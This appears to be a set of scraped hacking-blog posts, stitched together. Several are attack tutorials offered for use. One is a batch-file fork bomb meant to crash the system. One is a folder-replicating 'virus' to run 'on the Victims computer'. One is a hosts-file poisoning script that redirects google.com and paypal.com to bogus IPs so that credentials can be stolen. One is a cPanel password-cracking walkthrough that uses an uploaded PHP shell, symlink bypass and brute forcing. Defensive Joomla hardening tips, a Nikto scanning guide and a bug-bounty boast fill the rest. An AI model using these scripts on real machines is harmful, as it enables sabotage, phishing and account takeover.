<div dir="ltr" style="text-align: left;" trbidi="on">Most of them have heard about the word ‘fork()’, which is used to create child process, like wise fork bombing is nothing but calling a program by itself again and again with a infinite loop and making the system to crash by popping up hundreds of windows on the screen.<br /><br />@echo off<br /><br />:loop<br /><br />Explorer<br /><br />Call fork.bat<br /><br />Goto loop<br /><br />Copy the above program and paste it in a notepad file and save it as ‘fork.bat’. The explorer command will open up the ‘documents’ directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents rolled out in a loop, likewise it goes on by calling the program itself again and again until the system crashes or hangs up. <br /></div>

Batch File Virus -3

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WOW! Paypal Sends Me 5000$ For A Command Execution Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCi76jibbwqNwaZa-tvbU-oJv83vsnu5iBtiiHLgwAYtYTR2PFESQtz8rFP6FpAQAXwRnGU1kb9zxO93iS7X_eoQ_Y-e4dQt3XYeABd7ofP3wJ49bjqmsVLgeNVPo-yaZ6WSV3U6p6Vak/s1600/bugs.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCi76jibbwqNwaZa-tvbU-oJv83vsnu5iBtiiHLgwAYtYTR2PFESQtz8rFP6FpAQAXwRnGU1kb9zxO93iS7X_eoQ_Y-e4dQt3XYeABd7ofP3wJ49bjqmsVLgeNVPo-yaZ6WSV3U6p6Vak/s1600/bugs.jpg" /></a></div><br /><b><i><u>Update: 5000$ was the initial payment, Paypal payed another 5000$ which makes the total bug bounty of 10,000$ for the command execution vulnerability - </u></i></b><br /><h3 class="post-title entry-title" style="border-bottom-color: rgb(164, 111, 56); border-bottom-style: solid; border-bottom-width: 2px; color: #a46f38; font-family: 'Black Ops One', Arial, sans-serif; font-size: 25px; line-height: 1.1em; margin-bottom: 7px; padding: 0px 0px 5px 5px;"><a href="http://www.rafayhackingarticles.net/2012/12/paypal-pays-me-total-bounty-of-10000.html" style="border: none; color: #666666;"><i>PayPal Pays Me A Total Bounty Of 10,000 For The Command Execution Bug</i></a></h3><br />Today when i logged into my Gmail account, I saw Paypal sent me 5000$  for my command execution bug i reported on one of it's subdomains, That's constituted a huge risk to the organization, since an attacker could have easily managed to execute any command on the server. Therefore the bug was extremely critical, however Paypal took more than 2 months to sort it out.<br />I cannot write more about the vulnerability per the terms of the bug bounty program.<br /><a name='more'></a>Along with the command execution vulnerability, i was paid 500$ for an XSS vulnerability that i found on Paypal main domain, further more i was also paid for an information disclosure. So in total they sent me an amount of 6000$.<br /><br />More than 20 of my bugs are still being validated by paypal.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQhssafP1JjllaBV30HA-4LLcrb8N-6BqxaOnGlTmJlTFPWEcKEVpNjfsQITYum66WbbRiFFYURx-F1TBFEvDiYZDzdkSA3pyfycysL0_5C79mS4I56NnYwlwY-TkQ4blfuTIXWM-cTjE/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQhssafP1JjllaBV30HA-4LLcrb8N-6BqxaOnGlTmJlTFPWEcKEVpNjfsQITYum66WbbRiFFYURx-F1TBFEvDiYZDzdkSA3pyfycysL0_5C79mS4I56NnYwlwY-TkQ4blfuTIXWM-cTjE/s640/Untitled.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><span id="goog_1108134174"></span><span id="goog_1108134175"></span><br /></div>Last week, i was offered by Paypal for a job as a Senior Pentester A.K.A SecurityNinja. kindly look at the screen shot below:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnRw6u-tV_xgCiy-vqb1Pue7O2aMSbtIgNVmrvA4ymHKQFGrmgSQP9WxMSpVkBLbXLD8d9RVgbuSaK_QgU4qhJ1N5VPqz2yr2BOs3YPxa3_z_Zo64QYNlC8RXDI5Jo4G8PLwOBnLjNh1k/s1600/156938_10151229657168001_2030806512_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnRw6u-tV_xgCiy-vqb1Pue7O2aMSbtIgNVmrvA4ymHKQFGrmgSQP9WxMSpVkBLbXLD8d9RVgbuSaK_QgU4qhJ1N5VPqz2yr2BOs3YPxa3_z_Zo64QYNlC8RXDI5Jo4G8PLwOBnLjNh1k/s640/156938_10151229657168001_2030806512_n.jpg" width="577" /></a></div></div>

WOW! Paypal Sends Me 5000$ For A Command Execution Vulnerability

Update: 5000$ was the initial payment, Paypal payed another 5000$ which makes the total bug bounty of 10,000$ for the command execution vuln...

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Cracking Cpanel Passwords [Tutorial 2]

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwRkxGWlJBhsHSIqPnJc17vNOpv4KWomtjDT4mT-m1TEFTHMmt_lC6j4uH_eo5LKWv6LYXnB5Kz27UAlV82gemzI7zgDnwgewBXCfuTQW4AbqK7Y05A-R6qAuNif90_OTPHkinfFOI8y4/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwRkxGWlJBhsHSIqPnJc17vNOpv4KWomtjDT4mT-m1TEFTHMmt_lC6j4uH_eo5LKWv6LYXnB5Kz27UAlV82gemzI7zgDnwgewBXCfuTQW4AbqK7Y05A-R6qAuNif90_OTPHkinfFOI8y4/s1600/images.jpg" /></a></div><br />One of our guest authors already wrote a post on "<b><a href="http://www.rafayhackingarticles.net/2012/08/cpanel-crackinghacking.html">Cracking Cpanel passwords</a></b>", however that method worked for some sites and did not work on others, However, recently avinash mailed me a guest post, which contained two working methods that can be used to crack a Cpanel passwords, I have tested both methods myself and they are working. However, for this method to work, The website on which your shell is uploaded should be already vulnerable to Symlink Bypass <b>(Server Bypass)</b>.<br /><br /><a name='more'></a><br /><div><div><h4>Method 1 [Cracking CPanel Passwords]</h4></div><div><div><b>Requirements:<br /><br />1. </b>PHP Backdoor (Shell) installed on a server.<br /><b>2. </b><a href="https://www.dropbox.com/s/wceu4qk0sh8uosh/scripts.rar" rel="nofollow" target="_blank"><span id="goog_1656957360"></span>Required Files<span id="goog_1656957361"></span></a><br /><br /></div>First create two folder's, Im creating abc & xyz Now i will upload the files to do symlink and do the symlink, Next give 0755 permission to <b>jaguar.pl</b> and run it and put <b>etc/passwd</b> in it, After this will get all the config's now you are done with symlinking the server <br /><br /> Now go the second folder we created and upload <b>B_F.php </b>and place tour symlink folder link in that And then click on start And you have you cpanels's.<br /><br /><b>ScreenShots For Furthur Explanations</b><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_HrPkQKuFlXUt45VCJbq3hKSJeM5mnluHLH_6NIMg-qdF239xqLOhZJklXJupkvppGMghx77IAujATmcd-MuFvSGw27PU-K2kQlxkvw98gjeIDXTDWfNPdcoUa2ZQbD9u23MH8AHHVwk/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_HrPkQKuFlXUt45VCJbq3hKSJeM5mnluHLH_6NIMg-qdF239xqLOhZJklXJupkvppGMghx77IAujATmcd-MuFvSGw27PU-K2kQlxkvw98gjeIDXTDWfNPdcoUa2ZQbD9u23MH8AHHVwk/s640/1.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkCiG1D8ZJkTZbNPmIporUSC8cDTE2RWNlJtPe6n97URP6BzyG0vGXfZln8yFnlhuRFnVyd6i6mRC36qouXj9aPSAFZIuciV2ZQrUdt8-z2LI8jJqhy_yhWxy8NdtksWpmmKUJ29jd4eY/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkCiG1D8ZJkTZbNPmIporUSC8cDTE2RWNlJtPe6n97URP6BzyG0vGXfZln8yFnlhuRFnVyd6i6mRC36qouXj9aPSAFZIuciV2ZQrUdt8-z2LI8jJqhy_yhWxy8NdtksWpmmKUJ29jd4eY/s640/2.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsmlO0zlaqSQ7pLDo_Xw_SHDG2ae3sm3l-KTlfY33Hs91FHOQrmADgJosjbkvdfkI9GeEZEKF9Gc4m0Df-bDdx-tlM2YDZJumJUjaGAI82yGTF7TzH0yX6wPKVAev8zyOlZuYHxft_IsY/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsmlO0zlaqSQ7pLDo_Xw_SHDG2ae3sm3l-KTlfY33Hs91FHOQrmADgJosjbkvdfkI9GeEZEKF9Gc4m0Df-bDdx-tlM2YDZJumJUjaGAI82yGTF7TzH0yX6wPKVAev8zyOlZuYHxft_IsY/s640/3.JPG" width="580" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj62PhXZhEr13p5RxD0Ui9b7kHhhn21Bv6douASoFC0bpKkybPfyAiG_wsTdl2McxKyXhjtSNieSUa4Ei50l2QlS6gilypCFCnCdNiGRSUpmQbbcTtlMBUoV7WGxkS3ohwnpRC8sQpn_o/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj62PhXZhEr13p5RxD0Ui9b7kHhhn21Bv6douASoFC0bpKkybPfyAiG_wsTdl2McxKyXhjtSNieSUa4Ei50l2QlS6gilypCFCnCdNiGRSUpmQbbcTtlMBUoV7WGxkS3ohwnpRC8sQpn_o/s640/4.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6zonyGN8vkQ26Zl9EqJaIqZqGObCmSkXDY8RG1VHVCgQMvGNalcvLKPlWYGG5A2wAiMlYWRnXfjKPpnc0PnnR6rbZjQp6Jq9PmF1AdFc3jA7WmhksBE20do8xlGUPMfT4-qszoib_xS0/s1600/5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="406" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6zonyGN8vkQ26Zl9EqJaIqZqGObCmSkXDY8RG1VHVCgQMvGNalcvLKPlWYGG5A2wAiMlYWRnXfjKPpnc0PnnR6rbZjQp6Jq9PmF1AdFc3jA7WmhksBE20do8xlGUPMfT4-qszoib_xS0/s640/5.JPG" width="640" /></a></div><h4>Method 2 [Cracking CPanel Passwords]</h4><b>Requirements:</b><br /><b>1. </b>Shell On The Server<br /><b>2. <a href="https://www.dropbox.com/s/u3yb35v6r2ltpge/cracker.py" rel="nofollow">Cpanel.py</a></b><br /><b>3. </b>Python already installed on your server.<br /><br /><br />We have to run the script from command prompt, So therefore we need to create a directory with any name let's say "a" in this case.<br /><br /><b>How to run the script?</b><br /><br />Open command prompt and navigate to the directory where you have placed the script.<br /><br />Then type <b>cracker.py</b> <b>ww.site.com/abc </b>(this will be our symlinked folder link) <b>c:\a </b>( this is where it will be saved and then press enter. It will start it's work.<br /><br />Next It will give you a passwords copy them all and upload a <b>cpanel bruter</b> and paste all the passwords in pass area, For user's go to shell and give command<br /><br /><b>ls /var/mail</b><br /><b><br /></b>And you will get all usernames paste it in user's area, And click on start.<br /><br /><span style="font-weight: bold;">ScreenShots For Furthur Explanations</span><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifumk2NCL_FqSWM80TtxrQF9SybOmSW9YyBpLw_Ikl-uubbhVTOCB76offWix50Jw9Lzjq8F3WyjPIsp5saNZylaZxdq-vp3ldsGlzv3y69lfspUy_rrAKlsimm4cxJSrzZA_hkkX0nM4/s1600/6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifumk2NCL_FqSWM80TtxrQF9SybOmSW9YyBpLw_Ikl-uubbhVTOCB76offWix50Jw9Lzjq8F3WyjPIsp5saNZylaZxdq-vp3ldsGlzv3y69lfspUy_rrAKlsimm4cxJSrzZA_hkkX0nM4/s640/6.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTDt9ezAHcESvp1nSZy9WU4Q_T49wi6X-Swigvg8O2Q9kbt3zZy3gyV9HrMgm3qIgdNrHj7uYnJ3t4O49pH-O_brkx9TVPMrYj6AE_pPBjvkQflT2g3ZQE3JSFuXmIrI3KZkqGJBJrz50/s1600/7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTDt9ezAHcESvp1nSZy9WU4Q_T49wi6X-Swigvg8O2Q9kbt3zZy3gyV9HrMgm3qIgdNrHj7uYnJ3t4O49pH-O_brkx9TVPMrYj6AE_pPBjvkQflT2g3ZQE3JSFuXmIrI3KZkqGJBJrz50/s640/7.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIyHadl7BeO_Xwvjp-pWwHGOIbN-o1BfXLvl5tX0OLEuUDU8sOMdLckG4mKYp78dxPTh3IQtKI2G1jBkfL4gq8evHVYGTFKiNLbGLxaPcKHZ23Ekt5XxeJ4F9vVpotqkKxR__TL9e8EGI/s1600/8.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIyHadl7BeO_Xwvjp-pWwHGOIbN-o1BfXLvl5tX0OLEuUDU8sOMdLckG4mKYp78dxPTh3IQtKI2G1jBkfL4gq8evHVYGTFKiNLbGLxaPcKHZ23Ekt5XxeJ4F9vVpotqkKxR__TL9e8EGI/s640/8.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCGp1TpRXVdQfw26wu8qYGYsOg_lRlX7f9BTrgKseXJ2vmwHFU9o-_LguQipb-Jkb6WMFJ0m5m36XmPpWS1CmDYlVhhUnI-MdBos3AJqln22dqyLX9fI3a14is6ueD2XcmANEQ7BSY16E/s1600/9.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCGp1TpRXVdQfw26wu8qYGYsOg_lRlX7f9BTrgKseXJ2vmwHFU9o-_LguQipb-Jkb6WMFJ0m5m36XmPpWS1CmDYlVhhUnI-MdBos3AJqln22dqyLX9fI3a14is6ueD2XcmANEQ7BSY16E/s640/9.JPG" width="608" /></a></div></div></div><br /><b>About the Author:</b><br /> Avinash is a security researcher and a blogger. He runs a blog <a href="http://www.hackerzadda.com/">http://www.hackerzadda.com</a>/, where he writes about hacking. </div>

Cracking Cpanel Passwords [Tutorial 2]

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Batch file virus -2

<div dir="ltr" style="text-align: left;" trbidi="on">Batch program offers its programmers to create their custom viruses just by misusing the way the command works, which leads to the creation of batch viruses. In this chapter we are going to learn about the dark-side of the batch by learning how to misuse commands to create batch viruses.<br /><br />Folder Replicator Virus:<br /><br />Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it.<br /><br />1. Just open up a notepad, copy and paste the below code<br /><br />cd\<br /><br />cd C:\Documents and Settings\username\Desktop<br /><br />:loop<br /><br />md Virus<br /><br />cd Virus<br /><br />goto loop<br /><br />2. Save it as a batch file with the extension .bat, before doing that you have to modify the code by changing the place where it says ‘username’ and instead of that replace it by the currently logged in username.<br /><br />3. Then run it on the Victims computer to infect it.<br /><br />4. Any how it doesn’t cause much harm, but replicates folder inside a folder and goes on.<br /><br />Once more thing that you have to notice is that, this will create directory inside another directory with the same name, so it doesn’t looks like crap, since everything reside inside one main directory, more over deleting the root directory will purge all the clumsy thing done by this piece of code. </div>

Batch file virus -2

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Secure Joomla From Hackers

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH3WvO8WpbYmbdWKNCT1-HV0fV5bW5ONmw6TCVI85eXDN1hvYWwsLVpAXyRuDQHuX4d6RYI8nTZTIEJolievYG75qBf7zlUUlUNUvuwbwWcnDXPCWcaIjhpzrQ7b39PdqBKZhXfuwOO1k/s1600/joomla_hacked.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH3WvO8WpbYmbdWKNCT1-HV0fV5bW5ONmw6TCVI85eXDN1hvYWwsLVpAXyRuDQHuX4d6RYI8nTZTIEJolievYG75qBf7zlUUlUNUvuwbwWcnDXPCWcaIjhpzrQ7b39PdqBKZhXfuwOO1k/s320/joomla_hacked.jpg" width="320" /></a></div><br />Recently we wrote an article on <b>"<a href="http://www.rafayhackingarticles.net/2012/12/wordpress-mass-defacement-tool.html" target="_blank">Wordpress Mass Defacement Tool </a>"</b>and On "<b><a href="http://www.rafayhackingarticles.net/2011/02/how-to-secure-your-wordpress-blogs.html" target="_blank">Securing Your Wordpress from being Hacked</a>'</b>, However I was requested by one of our readers to write an article on securing joomla blog from hackers and preventing it from being hacked, Joomla just like wordpress is a very widely used CMS platform, Joomla itself is quite secure by default, However the extensions are developed by common developers and most of them have no proper knowledge about security.<br /><br />Now a days, it has been observed by me that most the hackers do not target vulnerable joomla extensions or joomla itself, however they target websites on the same server and use them to extract the configuration file of joomla that contains the database information. This vulnerability is commonly known as Symlink bypass in the black hat community and Server bypass in our white hat community. So in this article i will talk about the common methods to secure a joomla from hackers and preventing it from being hacked.<br /><a name='more'></a><h4>Secure Joomla From Hackers [Common Methods]</h4><b>Choose A Secure Password</b><br /><b><br /></b>Joomla uses MD5 for generating password hashes, Though MD5 hashes are prone to some weaknesses, However Joomla makes them secure by adding a salt to it. Here is how a joomla hash looks:<br /><br /><span style="background-color: #eeeeee; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px;">4e9e4bcc5752d6f939aedb42408fd3aa:0vURRbyY8Ea0tlvnTFn7xcKpjTFyn0YT</span><br /><span style="background-color: #eeeeee; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px;"><br /></span>The first part represents the MD5 hash and the part after the colon represents the Salt, This adds up an extra layer of security to joomla passwords, However these hashes can still be cracked with some softwares like PasswordsPro and OCIhashcat plus, Moreover now a days Graphic cards are being used for password cracking that makes the job much easier and take very little amount of time. For a good guide on choosing strong passwords, Kindly refer to my article "<b><a href="http://www.rafayhackingarticles.net/2010/10/how-to-create-strong-passwords.html" target="_blank">How To Create A Strong Password</a></b>".<br /><br /><b>Securing Admin Panel</b><br /><br />It's not a good idea to leave your admin panel open for the normal users, it should be only accessible by administrators. Imagine if an attacker has managed to extract your database information using SQL Injection, he would surely need the admin panel to log in, If you hide the admin panel, he won't be able to access it.<br /><br />You can do it either by using changing blocking access to the <b>Public_html/Joomla/Administrator </b>directory and making it accesible by only your IP by modifying the .htaccess with the following commands:<br /><br /><pre class="code" style="background-color: #eeeeee; color: #444444; font-family: Fixed, monospace; font-size: 12px; font-weight: bold; padding: 3px 5px;">Order Deny,Allow <br />Deny from all<br />Allow from Your IP Address </pre><br />Alternatively you can use a extension called <a href="http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/12254" rel="nofollow" target="_blank">Jsecure</a>, It protects your admin panel by generating a Key, which is only known to you, So the administrator panel can only be accessible if you would have the proper key.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwek8KuaI8iW8M3YHJ8hL-rxb65Gl5LOExCpxdmR88kphOJ5Qkg5UM385wDnePe3ivb2APz0pkZW-i1HtconR2-Cm37ShrjxZFGTpoTQ50v9Rjl6aENYOR9RjGAUQxLLo2Oh0rqUyKsgA/s1600/jSecure-Authentication-Plugin.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwek8KuaI8iW8M3YHJ8hL-rxb65Gl5LOExCpxdmR88kphOJ5Qkg5UM385wDnePe3ivb2APz0pkZW-i1HtconR2-Cm37ShrjxZFGTpoTQ50v9Rjl6aENYOR9RjGAUQxLLo2Oh0rqUyKsgA/s640/jSecure-Authentication-Plugin.jpg" width="577" /></a></div><b><br /></b><b>Update Update And Update</b><br /><div class="separator" style="clear: both; text-align: center;"><br /></div>Most of the time the vulnerabilities are found within Joomla itself and you have very little time to update your blog, or else you end up getting your blog hacked. I recommend you to subscribe to a exploit database 1337day.com and exploit-db.com, Most of the exploits go public there, So when ever you would see a vulnerability inside joomla, You would have plenty of time to update. I keep an eye on Bugtrack and seclist.org so whenever a vulnerability goes public, I am able to get information regarding it.<br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmNhP0BoO96z-U-zyAAT19aYbhg44Pt7qLHBvUwuQVnn_7u2yZdIoBj6ATbQO_KZiCBYVJmv5-ftm3Ons8mtIy4tJ4qW5LlrHwtqE_HogRCzbmnHX872Aqx0olIejnSFF6_oUv9fOpKxY/s1600/joomla.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmNhP0BoO96z-U-zyAAT19aYbhg44Pt7qLHBvUwuQVnn_7u2yZdIoBj6ATbQO_KZiCBYVJmv5-ftm3Ons8mtIy4tJ4qW5LlrHwtqE_HogRCzbmnHX872Aqx0olIejnSFF6_oUv9fOpKxY/s640/joomla.png" width="577" /></a><br /><b><br /></b><b>Scanning For Vulnerable Plugins Extension</b><br /><div class="separator" style="clear: both; text-align: center;"><br /></div>As i mentioned at the beginning of the article that webmasters install joomla plugins/extensions without checking it, if they are vulnerable. You should periodically check exploit databases, if the extensions you are using are vulnerable to any of the attacks. It would be a hassle, to check for every extension if they are to any of the attacks. Alternatively, a tool named "joomscan" has made the life easier, It is periodically updated with lots of new vulnerabilities, it checks your website for common vulnerable extensions and report them to you. <br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMB8wqJFMVyfxvTKLRM0-AOGq1SXc_y5om37EcyiANpK33GJKb5SKwqzwa5Xn7KZWTlDPNp-5B2RRmLaQUCuSdHxNSG3s-_2LleonBEGt83qPwK479PZAqTdtZDOltajhM6-EnMFA76Ao/s1600/joomscan2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="454" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMB8wqJFMVyfxvTKLRM0-AOGq1SXc_y5om37EcyiANpK33GJKb5SKwqzwa5Xn7KZWTlDPNp-5B2RRmLaQUCuSdHxNSG3s-_2LleonBEGt83qPwK479PZAqTdtZDOltajhM6-EnMFA76Ao/s640/joomscan2.png" width="577" /></a><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXGiuPgXa9CYRmORV4tepe61qLnHGQv0SLCf0pYJnQ8LOnkYTSySMUTJk1FX2pD5b8vdfm7uQueaIJbU1Ma1Cte8pOwJpZxwV_XyQ1aPnTXNHrNv25TUyoJ0vFZrnEPr_OEz_kVNUY4Ys/s1600/joomscan3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXGiuPgXa9CYRmORV4tepe61qLnHGQv0SLCf0pYJnQ8LOnkYTSySMUTJk1FX2pD5b8vdfm7uQueaIJbU1Ma1Cte8pOwJpZxwV_XyQ1aPnTXNHrNv25TUyoJ0vFZrnEPr_OEz_kVNUY4Ys/s640/joomscan3.png" width="577" /></a><br /><br /><b>Protecting From Shell Uploads</b><br /><b><br /></b>Once an attacker gains access to your administrator panel, He will usually upload a PHP backdoor to maintain access to your website commonly known as <b>"Shells"</b> in the black hat community, All you need to do in order to protect the Shell upload is to protect the change the permissions of the images directory to 400. Which will make the whole directory non writable. This will prevent hackers from uploading the shell and also from penetrating further.<br /><br />An attacker can alternatively try to upload the shell via your FTP, so you should also make sure that you disable port 21/ Disable FTP access.<br /><br /><b>Securing From Symlink</b><br /><b><br /></b>Symlink bypass is one of the most commonly used attacks, Even if your joomla website is completely secure, it's still possible for an attacker to extract your configuration files "Configuration.php" which contains database username and password via an attack called Symlink bypass. In order to protect your configuration.php, you need to change the permissions to 400.<br /><br />You can do it by applying the following command:<br /><br /><b>CHMOD 400 Configuration.php</b><br /><b>Protect From Mass Defacement</b><br /><br />Lots of time it happens that hackers manage to gain root access to the server on which your joomla blog is hosted, In these cases the attacker runs a <a href="http://www.rafayhackingarticles.net/2012/12/wordpress-mass-defacement-tool.html" target="_blank">Mass Defacement tool</a>/script, which changes the index files of all the websites running on the server, In order to protect your blog from mass defacement attack, All you need to do is change the permissions of index.php to 400. However, this does not provide complete protection, because the once the hacker has root on the server, he can manually change permissions of your blog, hence defacing your website.<br /><br />I hope you have liked my post on "<b>Secure Joomla From Hackers</b>". Though there is lot left, but i have highlighted important steps in order to protect your website from being hacked.<br /><b><br /></b></div>

Secure Joomla From Hackers

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DNS poisoning using BATCH File

<div dir="ltr" style="text-align: left;" trbidi="on">Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted craps from your computer and even for creating a batch VIRUS.<br /><br /><h3>DNS poisoning:</h3><br />Batch file can has the tendency to modify the transfer zones by editing the hosts.txt file that resides inside ‘C:\windows\system32\drivers\etc\hosts.txt’, so that it will take you to some malicious websites instead of landing you to the legitimate website. This may also be used for phishing, i.e. redirecting you to a bogus website which looks exactly like the legitimate one, and then steal credentials.<br /><br />1. Just open up a notepad, copy and paste the below code<br /><br />@echo off<br /><br />echo 10.199.64.66 www.google.com >> C:\windows\system32\drivers\etc\hosts.txt<br /><br />echo 10.199.64.67 www.paypal.com >> C:\windows\system32\drivers\etc\hosts.txt<br /><br />exit<br /><br />2. Save it as a batch file with the extension .bat<br /><br />3. Then run it on the Victims computer to infect it.<br /><br />4.This program creates a new entry in the hosts file, so that whenever an user attempts to move to www.google.com, he will be re-directed to another host that has the IP address of 10.199.64.66, likewise if the user attempts to login to the paypal account by typing in www.paypal.com, he will be re-directed to another external bogus website that has the IP address of 10.199.64.67, where if the user enters the credentials unknowingly, they were into the hackers database and he can use it for several other purposes. </div>

DNS poisoning using BATCH File

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How to scan web-server with Nikto?

<div dir="ltr" style="text-align: left;" trbidi="on">Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6500 potentially dangerous files/CGIs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.<br /><br />Nikto is not designed as an overly stealthy tool. It will test a web server in the quickest time possible, and is fairly obvious in log files. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system).<br /><br />Not every check is a security problem, though most are. There are some items that are "info only" type checks that look for things that may not have a security flaw, but the webmaster or security engineer may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files.<br /><br />Nikto is a tool that it has been written in Perl and it can perform tests against web servers in order to identify potential vulnerabilities<br /><br /> Download Nikto from <a href="http://www.cirt.net/nikto/nikto-2.1.5.tar.gz" target="_blank">here</a>.<br /><br /> Open terminal & extract it in folder<br /><br /> Then change directory, type following code in terminal<br /><br />    cd Downloads/nikto-2.1.5<br /><br /> Make nikto.pl file exectuable(right click on file, & make it executable)<br /><br /> Update it by typing following command<br /><br />    ./nikto.pl -update<br /><br /> Now final step to scan webhost type following in termina<br /><br />   ./nikto.pl -host I.p</div>

How to scan web-server with Nikto?

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Wordpress Mass Defacement Tool

